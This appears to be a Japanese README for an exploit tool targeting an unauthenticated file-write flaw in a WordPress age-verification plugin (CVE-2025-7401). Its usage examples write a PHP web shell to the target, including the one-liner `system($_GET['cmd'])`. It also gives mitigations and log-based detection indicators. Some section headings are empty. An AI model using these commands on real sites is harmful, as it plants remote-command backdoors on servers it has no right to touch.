CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - 認証なしの任意ファイル読み取りおよび書き込み

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — 認証なしの任意ファイル読み取り・書き込み

📝 説明

「Premium Age Verification / Restriction for WordPress」プラグインは、remote_tunnel.php に保護が不十分なリモートサポートエンドポイントを含んでいます。3.0.2 までの影響を受けるバージョンでは、このエンドポイントを悪用して、認証なしの任意ファイル読み取りおよび書き込みが可能です。悪用に成功すると、機密情報が漏えいしたり、リモートコード実行が可能になる可能性があります。

• CVE: CVE-2025-7401
• CVSS: 9.8 (緊急)

⚙️ スクリプト概要

• Script name: CVE-2025-7401.py
• 目的: 認可されたセキュリティ専門家が、脆弱性のあるプラグインエンドポイントにおけるファイル書き込み動作を検証するためのテストツールです。このスクリプトはターゲットを正規化し、ユーザーが指定した PHP スニペットをエンコードし、脆弱なエンドポイントに POST を送信してファイルの書き込みを試み、必要に応じてWebアクセス可能なファイルパスを検証します。

▶️ クイック使用例

# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com

# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 コマンドラインオプション

📋 スクリプトの詳細な動作（ステップバイステップ）

📌 期待される出力とその意味

🛡️ 緩和策と推奨事項

• プラグインをベンダー提供のパッチ適用済みバージョンへ直ちにアップグレードしてください。
• リモートサポート機能へのアクセスを、認証と適切な承認チェックで制限してください。
• サーバー側で、ユーザーが指定するすべてのファイルパスとファイル内容をサニタイズし、検証してください。
• WebユーザーがWebルートに実行可能ファイルを作成できないように、厳格なファイルシステム権限を適用してください。
• remote_tunnel.php への不審なリクエストを検出してブロックするWAFルールを導入してください。

🔎 検出とフォレンジック

• パラメータ action=save_file、file、file_content を含む、/wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php へのPOSTリクエストをWebサーバーログで調査します。
• プラグインディレクトリ内に remote_init.php などの予期しないファイルがないか検索します。
• POSTボディ内のBase64エンコードされたペイロードを探します。
• ファイル変更のタイムスタンプと不審なリクエストを関連付けます。

🤝 責任ある開示

• 本番システムを悪用したり変更したりしないでください。
• サイト所有者またはプラグインベンダーに非公開かつ安全に連絡してください。
• ベンダーに再現手順を提供し、公表前に合理的な修正期間を与えてください。

⚖️ 法的および安全に関する通知

脆弱性テストツールの不正使用は、多くの法域で違法です。このリポジトリとスクリプトは、防御的研究、認可されたテスト、および協調的な脆弱性開示のみを目的としています。所有していないシステムをテストする前に、必ず明示的な書面による許可を得てください。

❗ 免責事項

著者および貢献者は、情報やツールの誤用について一切の責任を負いません。この資料は法的および倫理的な範囲内でのみ使用してください。

作者: Nxploited ( Khaled Alenazi )